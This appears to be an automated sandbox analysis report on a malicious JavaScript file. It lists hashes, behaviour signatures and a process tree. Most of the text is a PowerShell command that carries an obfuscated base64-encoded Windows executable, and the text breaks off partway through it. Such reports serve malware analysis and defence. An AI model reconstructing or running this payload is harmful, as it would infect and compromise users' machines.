Analysis

  • max time kernel
    82s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/04/2023, 11:15

General

  • Target

    obj_ka_shop_deco01.js

  • Size

    1KB

  • MD5

    fefd5818ada09b627bc5635e7219c569

  • SHA1

    e95502a092729d3f755c00053627f48cd63dd327

  • SHA256

    dcde4c6179a0dbcef9cf9f55694821a4295a5106eff62e30161d257d6f0437d9

  • SHA512

    008a28c6894009d2f2797f08e6560743e836b50728a162a430eb7650a9375301897f6c2068bedd6173c116b326e33c4c5dce7920f3d51cac783f6f76c59bcb0f

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Runs ping.exe 1 TTPs 2 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\obj_ka_shop_deco01.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $bFjDJ = 'TVqQ↓:↓↓:↓M↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓//8↓:↓↓:↓Lg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓4fug4↓:↓t↓:↓nNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BQRQ↓:↓↓:↓T↓:↓ED↓:↓↓:↓lRLeg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓O↓:↓↓:↓Ii↓:↓L↓:↓V↓:↓↓:↓↓:↓B4↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓1j0↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓M↓:↓QIU↓:↓↓:↓B↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓IQ9↓:↓↓:↓BP↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓GgD↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓DEP↓:↓↓:↓↓:↓O↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CC↓:↓↓:↓↓:↓Eg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C50ZXh0↓:↓↓:↓↓:↓↓:↓3B0↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓Hg↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓G↓:↓ucnNyYw↓:↓↓:↓↓:↓GgD↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓B↓:↓LnJlbG9j↓:↓↓:↓↓:↓M↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓J↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓Qg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C4PQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Eg↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓U↓:↓mCM↓:↓↓:↓HQY↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓w8↓:↓↓:↓C4↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B4CKBY↓:↓↓:↓↓:↓oqHgIoFw↓:↓↓:↓Ciqmcxg↓:↓↓:↓↓:↓q↓:↓↓:↓Q↓:↓↓:↓BHMZ↓:↓↓:↓↓:↓Kg↓:↓I↓:↓↓:↓↓:↓RzGg↓:↓↓:↓Co↓:↓D↓:↓↓:↓↓:↓Ecxs↓:↓↓:↓↓:↓q↓:↓B↓:↓↓:↓↓:↓BCoufgE↓:↓↓:↓↓:↓RvH↓:↓↓:↓↓:↓CioufgI↓:↓↓:↓↓:↓RvHQ↓:↓↓:↓CioufgM↓:↓↓:↓↓:↓RvHg↓:↓↓:↓CioufgQ↓:↓↓:↓↓:↓RvHw↓:↓↓:↓CirGfgU↓:↓↓:↓↓:↓QUKC↓:↓↓:↓↓:↓↓:↓osHnIB↓:↓↓:↓Bw0↓:↓U↓:↓↓:↓↓:↓IoIQ↓:↓↓:↓Cm8i↓:↓↓:↓↓:↓KcyM↓:↓↓:↓↓:↓q↓:↓BQ↓:↓↓:↓BH4F↓:↓↓:↓↓:↓EKhp+Bg↓:↓↓:↓BCoe↓:↓o↓:↓G↓:↓↓:↓↓:↓EKlZzD↓:↓↓:↓↓:↓Bigk↓:↓↓:↓↓:↓Kd↓:↓Y↓:↓↓:↓↓:↓K↓:↓Bw↓:↓↓:↓BCoe↓:↓igl↓:↓↓:↓↓:↓KKhp+Bw↓:↓↓:↓BCoaK↓:↓0↓:↓↓:↓↓:↓YqHgIoJg↓:↓↓:↓Cio↓:↓Gz↓:↓H↓:↓J↓:↓B↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓RBCgn↓:↓↓:↓↓:↓KLG8dKCg↓:↓↓:↓↓:↓oK↓:↓28p↓:↓↓:↓↓:↓KBm8p↓:↓↓:↓↓:↓Kbyo↓:↓↓:↓↓:↓oLBywGBxcuTytNG40o↓:↓↓:↓↓:↓BJRZyMQ↓:↓↓:↓cKIlFwOiJRhyu↓:↓↓:↓↓:↓cKIlGQaiJRpy2g↓:↓↓:↓cKIoKw↓:↓↓:↓ChYWFSgs↓:↓↓:↓↓:↓KJnLg↓:↓↓:↓Bw↓:↓3Iw↓:↓QBwKC0↓:↓↓:↓↓:↓oWFhUoL↓:↓↓:↓↓:↓CibeDiUoLg↓:↓↓:↓CgwoLw↓:↓↓:↓Ct4↓:↓↓:↓H4w↓:↓↓:↓↓:↓KDX4w↓:↓↓:↓↓:↓KEwRyN↓:↓E↓:↓cBMFIM↓:↓↓:↓↓:↓↓:↓↓:↓oMQ↓:↓↓:↓CnMy↓:↓↓:↓↓:↓KJSgz↓:↓↓:↓↓:↓KbzQ↓:↓↓:↓↓:↓olJXJ6↓:↓QBwKBE↓:↓↓:↓↓:↓ZvNQ↓:↓↓:↓Cm81↓:↓↓:↓↓:↓KDSUl↓:↓igR↓:↓↓:↓↓:↓GbzU↓:↓↓:↓↓:↓pvNQ↓:↓↓:↓CigR↓:↓↓:↓↓:↓GEwRvNg↓:↓↓:↓ChQmCXK+↓:↓QBwcsYB↓:↓HBvNw↓:↓↓:↓CigR↓:↓↓:↓↓:↓GDREFcsoB↓:↓H↓:↓oO↓:↓↓:↓↓:↓Cig5↓:↓↓:↓↓:↓KLB↓:↓RBXLK↓:↓QBwKDg↓:↓↓:↓↓:↓oTBSsOEQVy4gE↓:↓cCg4↓:↓↓:↓↓:↓KEwUoOg↓:↓↓:↓CgkoOw↓:↓↓:↓Cm88↓:↓↓:↓↓:↓KcvoB↓:↓HBvPQ↓:↓↓:↓CnIk↓:↓gBwbz4↓:↓↓:↓↓:↓oUGI0W↓:↓↓:↓↓:↓BJRYRBXIs↓:↓gBwKDg↓:↓↓:↓↓:↓qiJRcRBCg7↓:↓↓:↓↓:↓Kom8/↓:↓↓:↓↓:↓KJt4PJSgu↓:↓↓:↓↓:↓KEwYoLw↓:↓↓:↓Ct4↓:↓KgEc↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓eXk↓:↓DiE↓:↓↓:↓↓:↓E↓:↓↓:↓Ig↓:↓+I↓:↓BDyE↓:↓↓:↓↓:↓Ee↓:↓ih↓:↓↓:↓↓:↓↓:↓KKjYC↓:↓yhB↓:↓↓:↓↓:↓KKEI↓:↓↓:↓↓:↓oqHgIoQw↓:↓↓:↓Ciou0↓:↓k↓:↓↓:↓↓:↓IoIQ↓:↓↓:↓Cioe↓:↓ihE↓:↓↓:↓↓:↓KKg↓:↓↓:↓Ez↓:↓B↓:↓BQ↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓R↓:↓owF↓:↓↓:↓↓:↓bLQgo↓:↓Q↓:↓↓:↓Kwor↓:↓gIKBioi↓:↓/4VBQ↓:↓↓:↓Gyoe↓:↓igm↓:↓↓:↓↓:↓KKg↓:↓↓:↓↓:↓BMw↓:↓g↓:↓o↓:↓↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓EQJ7Rg↓:↓↓:↓Cm9H↓:↓↓:↓↓:↓KCgaMC↓:↓↓:↓↓:↓Gy0SK↓:↓I↓:↓↓:↓CsK↓:↓ntG↓:↓↓:↓↓:↓KBm9I↓:↓↓:↓↓:↓KBipK↓:↓igm↓:↓↓:↓↓:↓K↓:↓nNJ↓:↓↓:↓↓:↓KfUY↓:↓↓:↓↓:↓oq↓:↓EJTSkIB↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓B2Mi4wLjUwNzI3↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓U↓:↓b↓:↓↓:↓↓:↓↓:↓GwI↓:↓↓:↓↓:↓jfg↓:↓↓:↓2↓:↓g↓:↓↓:↓CwJ↓:↓↓:↓↓:↓jU3RyaW5ncw↓:↓↓:↓↓:↓↓:↓↓:↓EEg↓:↓↓:↓X↓:↓I↓:↓↓:↓CNVUwBgF↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓CNHVUlE↓:↓↓:↓↓:↓↓:↓cBQ↓:↓↓:↓↓:↓QE↓:↓↓:↓↓:↓jQmxvYg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓BVxWiCQkP↓:↓↓:↓↓:↓↓:↓+gEz↓:↓BY↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓4↓:↓↓:↓↓:↓↓:↓Cg↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓a↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓Ek↓:↓↓:↓↓:↓↓:↓/↓:↓↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓↓:↓U↓:↓↓:↓↓:↓↓:↓J↓:↓↓:↓↓:↓↓:↓Cg↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓MEE↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BgCJ↓:↓5oHBgD2↓:↓5oHBgB5↓:↓tsGDw↓:↓IC↓:↓↓:↓↓:↓BgC6↓:↓pgFBgBs↓:↓5gFBgDd↓:↓5gFBgCp↓:↓5gFBgDC↓:↓5gFBg↓:↓B↓:↓5gFBgCm↓:↓lQHBg↓:↓i↓:↓lQHBg↓:↓0↓:↓5gFCgBF↓:↓mEGCgDy↓:↓asECgCN↓:↓qsEDgC3↓:↓SoHDgCRBu4GBg↓:↓c↓:↓9sGDgDR↓:↓nMHDgDp↓:↓qw↓:↓BgB5CO4EDgB9BioHDgBR↓:↓6w↓:↓BgB/↓:↓e4EDg↓:↓B↓:↓IEECg↓:↓w↓:↓gsFBgBc↓:↓tsGBg↓:↓H↓:↓poHBg↓:↓9BroHBgC/BXcFCgDH↓:↓WIFBgCqBe4EBg↓:↓3↓:↓e4EBg↓:↓↓:↓CZgFCgDS↓:↓WIFDgBQCHMHBgCrCO4Emw↓:↓rBg↓:↓↓:↓BgBsBO4EDgCMBaw↓:↓DgBb↓:↓aw↓:↓DgCX↓:↓HMHCgBNBooICgBn↓:↓YoICgChCIoIBgBBBMkICgC3CKsEBg↓:↓JCWQ↓:↓Bg↓:↓oBe4EBgDBCO4EBgC0BZgFBgCs↓:↓ZgFDg↓:↓XCKw↓:↓BgBcCJoHBgDEBu4E↓:↓↓:↓↓:↓↓:↓↓:↓Ek↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓V↓:↓XrCEU↓:↓↓:↓Q↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CPBusISQ↓:↓B↓:↓↓:↓I↓:↓↓:↓↓:↓EQ↓:↓I↓:↓I6whZ↓:↓↓:↓E↓:↓↓:↓w↓:↓↓:↓↓:↓Q↓:↓↓:↓3↓:↓fLB1k↓:↓BQ↓:↓I↓:↓↓:↓↓:↓BE↓:↓↓:↓sCOsIgQ↓:↓H↓:↓↓:↓s↓:↓↓:↓↓:↓E↓:↓↓:↓BkJ6whZ↓:↓↓:↓g↓:↓Dg↓:↓B↓:↓↓:↓↓:↓↓:↓Kw↓:↓y↓:↓Fk↓:↓C↓:↓↓:↓P↓:↓↓:↓UB↓:↓↓:↓↓:↓cBw↓:↓↓:↓WQ↓:↓I↓:↓BI↓:↓BQE↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓BZ↓:↓↓:↓g↓:↓GQ↓:↓x↓:↓PQFagEx↓:↓MsFcgEx↓:↓N8FegEx↓:↓↓:↓0GggER↓:↓PUEigER↓:↓JwBjgER↓:↓↓:↓sBkgEh↓:↓NUIOwFQI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓GGM4GBg↓:↓B↓:↓Fgg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓YYzgYG↓:↓↓:↓E↓:↓YC↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓ERjUBrU↓:↓↓:↓QCKI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓TCIIGlgEB↓:↓JYg↓:↓↓:↓↓:↓↓:↓↓:↓BMIR↓:↓Wb↓:↓QE↓:↓oi↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Ewh5Bq↓:↓B↓:↓QCuI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓TC↓:↓wHpQEB↓:↓Log↓:↓↓:↓↓:↓↓:↓↓:↓BMIOQaq↓:↓QE↓:↓7C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓EwiE↓:↓a8B↓:↓QDzI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓TCJ↓:↓Bt↓:↓EB↓:↓Psg↓:↓↓:↓↓:↓↓:↓↓:↓BEY1↓:↓a1↓:↓↓:↓I↓:↓ESE↓:↓↓:↓↓:↓↓:↓↓:↓BhjOBgY↓:↓↓:↓g↓:↓ZIQ↓:↓↓:↓↓:↓↓:↓↓:↓WCJUIugEC↓:↓C↓:↓h↓:↓↓:↓↓:↓↓:↓↓:↓BMIHwi6↓:↓QI↓:↓JyE↓:↓↓:↓↓:↓↓:↓↓:↓BhjOBgY↓:↓↓:↓g↓:↓wIQ↓:↓↓:↓↓:↓↓:↓↓:↓W↓:↓F4↓:↓vwEC↓:↓Ogi↓:↓↓:↓↓:↓↓:↓↓:↓BE↓:↓3g↓:↓J↓:↓QU↓:↓8CI↓:↓↓:↓↓:↓↓:↓↓:↓xgJ↓:↓CBMBBgD+Ig↓:↓↓:↓↓:↓↓:↓DG↓:↓iQBG↓:↓EH↓:↓↓:↓Yj↓:↓↓:↓↓:↓↓:↓↓:↓IM↓:↓f↓:↓HG↓:↓Qc↓:↓EiM↓:↓↓:↓↓:↓↓:↓↓:↓xgJqBI4↓:↓Bw↓:↓cIw↓:↓↓:↓↓:↓↓:↓↓:↓R↓:↓IQ↓:↓ywEH↓:↓Dwj↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓c↓:↓DT↓:↓Qg↓:↓RSM↓:↓↓:↓↓:↓↓:↓↓:↓BhjOBgY↓:↓CQBQIw↓:↓↓:↓↓:↓↓:↓↓:↓DCPs↓:↓Sg↓:↓J↓:↓IQj↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓YYzgYG↓:↓↓:↓k↓:↓↓:↓↓:↓↓:↓B↓:↓DcE↓:↓↓:↓↓:↓B↓:↓N8I↓:↓↓:↓↓:↓C↓:↓Fg↓:↓↓:↓↓:↓↓:↓D↓:↓FI↓:↓↓:↓↓:↓↓:↓B↓:↓OUI↓:↓↓:↓↓:↓B↓:↓MkF↓:↓↓:↓↓:↓B↓:↓BsB↓:↓↓:↓↓:↓B↓:↓BsBCQDOBgE↓:↓EQDOBgY↓:↓GQDOBgo↓:↓KQDOBh↓:↓↓:↓MQDOBh↓:↓↓:↓OQDOBh↓:↓↓:↓QQDOBh↓:↓↓:↓SQDOBh↓:↓↓:↓UQDOBh↓:↓↓:↓WQDOBhU↓:↓YQDOBh↓:↓↓:↓aQDOBh↓:↓↓:↓cQDOBho↓:↓gQDOBi↓:↓↓:↓mQDOBgY↓:↓oQDOBgY↓:↓qQDOBgY↓:↓wQDOBiY↓:↓2QDOBh↓:↓↓:↓4QDOBgY↓:↓6QDOBgY↓:↓iQDOBgY↓:↓kQDOBgY↓:↓D↓:↓DOBgY↓:↓F↓:↓DOBgY↓:↓H↓:↓DOBgY↓:↓J↓:↓DOBgY↓:↓D↓:↓D7↓:↓Eo↓:↓F↓:↓D7↓:↓Eo↓:↓H↓:↓D7↓:↓Eo↓:↓J↓:↓D7↓:↓Eo↓:↓sQ↓:↓3CE8↓:↓yQBJ↓:↓VU↓:↓yQD8CF0↓:↓8QDOBmM↓:↓IQHH↓:↓Gs↓:↓↓:↓QHOBgY↓:↓sQDOBgY↓:↓KQEBBYI↓:↓MQFzBIc↓:↓QQGaBo4↓:↓QQFHCJI↓:↓QQFyCJc↓:↓SQHTBJ0↓:↓QQFyCKc↓:↓WQG0Bq4↓:↓WQGiBrU↓:↓QQETCbk↓:↓YQHZBLw↓:↓cQHOBgY↓:↓eQF↓:↓↓:↓MM↓:↓cQE9BMk↓:↓cQFbBN↓:↓↓:↓gQHf↓:↓QY↓:↓QQHk↓:↓NU↓:↓QQFyCNs↓:↓iQFrCII↓:↓kQEyBeE↓:↓mQFKBOc↓:↓kQHC↓:↓O0↓:↓GQF8↓:↓fU↓:↓yQDU↓:↓Ps↓:↓qQEw↓:↓QIBsQHn↓:↓QkBuQEoB↓:↓4BsQB↓:↓CBMBsQ↓:↓k↓:↓RgBsQBqBI4↓:↓wQHs↓:↓CQBN↓:↓DVCDsBP↓:↓↓:↓UBEo↓:↓P↓:↓↓:↓eBFIBP↓:↓DOBgY↓:↓KQCb↓:↓K0DLg↓:↓L↓:↓↓:↓MCLg↓:↓T↓:↓↓:↓wCLg↓:↓b↓:↓CsCLg↓:↓j↓:↓DQCLg↓:↓r↓:↓DQCLg↓:↓z↓:↓DQCLg↓:↓7↓:↓DQCLgBD↓:↓DoCLgBL↓:↓DQCLgBT↓:↓DQCLgBb↓:↓FICLgBj↓:↓HwCQ↓:↓B7↓:↓IkCQ↓:↓Bz↓:↓I4CQwBr↓:↓JcCQwBz↓:↓I4CSQCb↓:↓L4DYwBr↓:↓JcCYwBz↓:↓I4CaQCb↓:↓NIDg↓:↓B7↓:↓IkCgwCD↓:↓IkCgwCL↓:↓IkCgwBr↓:↓JcCiQCb↓:↓N8Do↓:↓B7↓:↓IkCowCD↓:↓IkCowBr↓:↓L↓:↓CowCj↓:↓IkCowCr↓:↓IkCowCL↓:↓IkCqQBz↓:↓CsCw↓:↓B7↓:↓IkCwwCr↓:↓IkCwwBr↓:↓PECwwBz↓:↓CsCyQBz↓:↓CsC4↓:↓B7↓:↓IkC4wCD↓:↓IkC4wCL↓:↓IkC4wCj↓:↓IkC4wCr↓:↓IkCCQGb↓:↓PMDIwFz↓:↓I4CIwGT↓:↓EsDQwFz↓:↓I4CQwFT↓:↓DQCQ↓:↓Jz↓:↓I4CQ↓:↓J7↓:↓IkCY↓:↓Jz↓:↓I4CY↓:↓J7↓:↓IkCg↓:↓Jz↓:↓I4Cg↓:↓J7↓:↓IkCo↓:↓Jz↓:↓I4Co↓:↓J7↓:↓IkCw↓:↓J7↓:↓IkC4↓:↓J7↓:↓IkC↓:↓↓:↓N7↓:↓IkC↓:↓↓:↓Nz↓:↓I4CI↓:↓N7↓:↓IkCQ↓:↓N7↓:↓IkCQ↓:↓Nz↓:↓I4Cd↓:↓↓:↓c↓:↓S8BB↓:↓↓:↓B↓:↓↓:↓U↓:↓BQ↓:↓G↓:↓↓:↓c↓:↓Bw↓:↓I↓:↓↓:↓o↓:↓CQ↓:↓↓:↓↓:↓JEG2wE↓:↓↓:↓FYF4↓:↓E↓:↓↓:↓H0G5QE↓:↓↓:↓B4H6gE↓:↓↓:↓D0G7wE↓:↓↓:↓KQB9↓:↓E↓:↓↓:↓JkI+QE↓:↓↓:↓C4I+QE↓:↓↓:↓P8↓:↓/gEC↓:↓↓:↓Q↓:↓↓:↓w↓:↓C↓:↓↓:↓U↓:↓BQ↓:↓C↓:↓↓:↓Y↓:↓Bw↓:↓C↓:↓↓:↓c↓:↓CQ↓:↓C↓:↓↓:↓g↓:↓Cw↓:↓C↓:↓↓:↓k↓:↓DQ↓:↓B↓:↓↓:↓o↓:↓DQ↓:↓C↓:↓↓:↓0↓:↓Dw↓:↓C↓:↓↓:↓4↓:↓EQ↓:↓C↓:↓Bk↓:↓Ew↓:↓u↓:↓DU↓:↓P↓:↓BD↓:↓CEBN↓:↓FD↓:↓UoBBI↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Mg↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓FgBow↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓W↓:↓HuB↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Bh↓:↓aw↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓5gc↓:↓↓:↓↓:↓k↓:↓B↓:↓↓:↓K↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓Q↓:↓BQ↓:↓bg↓:↓↓:↓↓:↓B↓:↓↓:↓LQBu↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓v↓:↓G4↓:↓iw↓:↓q↓:↓Ys↓:↓TQE↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓ENvbnRleHRWYWx1ZW↓:↓x↓:↓FRocmVhZFNhZmVPYmplY3RQcm92aWRlcm↓:↓x↓:↓ENsYXNzMQBDbGFzc0xpYnJhcnkz↓:↓GdldF9VVEY4↓:↓DxNb2R1bGU+↓:↓FNab0JD↓:↓EZhVWRH↓:↓HByRlZJ↓:↓FN5c3RlbS5JTwBU↓:↓ERpc3Bvc2VfX0luc3RhbmNlX18↓:↓Q3JlYXRlX19JbnN0YW5jZV9f↓:↓FByb2plY3REYXRh↓:↓G1zY29ybGli↓:↓E1pY3Jvc29mdC5WaXN1YWxCYXNpYwBMb2Fk↓:↓FN5bmNocm9uaXplZ↓:↓BHZXRNZXRob2Q↓:↓QVhTd2Q↓:↓UmVwbGFjZQBDcmVhdGVJbnN0YW5jZQBnZXRfR2V0SW5zdGFuY2U↓:↓ZGVmYXVsdEluc3RhbmNl↓:↓Gluc3RhbmNl↓:↓EdldEhhc2hDb2Rl↓:↓Eludm9rZQBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBBcHBXaW5TdHlsZQBTZWN1cml0eVByb3RvY29sVHlwZQBHZXRUeXBl↓:↓GdldF9DdWx0dXJl↓:↓HNldF9DdWx0dXJl↓:↓HJlc291cmNlQ3VsdHVyZQBNZXRob2RCYXNl↓:↓EFwcGxpY2F0aW9uQmFzZQBBcHBsaWNhdGlvblNldHRpbmdzQmFzZQBEaXNwb3Nl↓:↓FN0clJldmVyc2U↓:↓RWRpdG9yQnJvd3NhYmxlU3RhdGU↓:↓Q29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGU↓:↓R3VpZEF0dHJpYnV0ZQBIZWxwS2V5d29yZEF0dHJpYnV0ZQBHZW5lcmF0ZWRDb2RlQXR0cmlidXRl↓:↓ERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGU↓:↓RGVidWdnYWJsZUF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGU↓:↓Q29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRl↓:↓FN0YW5kYXJkTW9kdWxlQXR0cmlidXRl↓:↓EhpZGVNb2R1bGVOYW1lQXR0cmlidXRl↓:↓EFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRl↓:↓ERlYnVnZ2VySGlkZGVuQXR0cmlidXRl↓:↓EFzc2VtYmx5R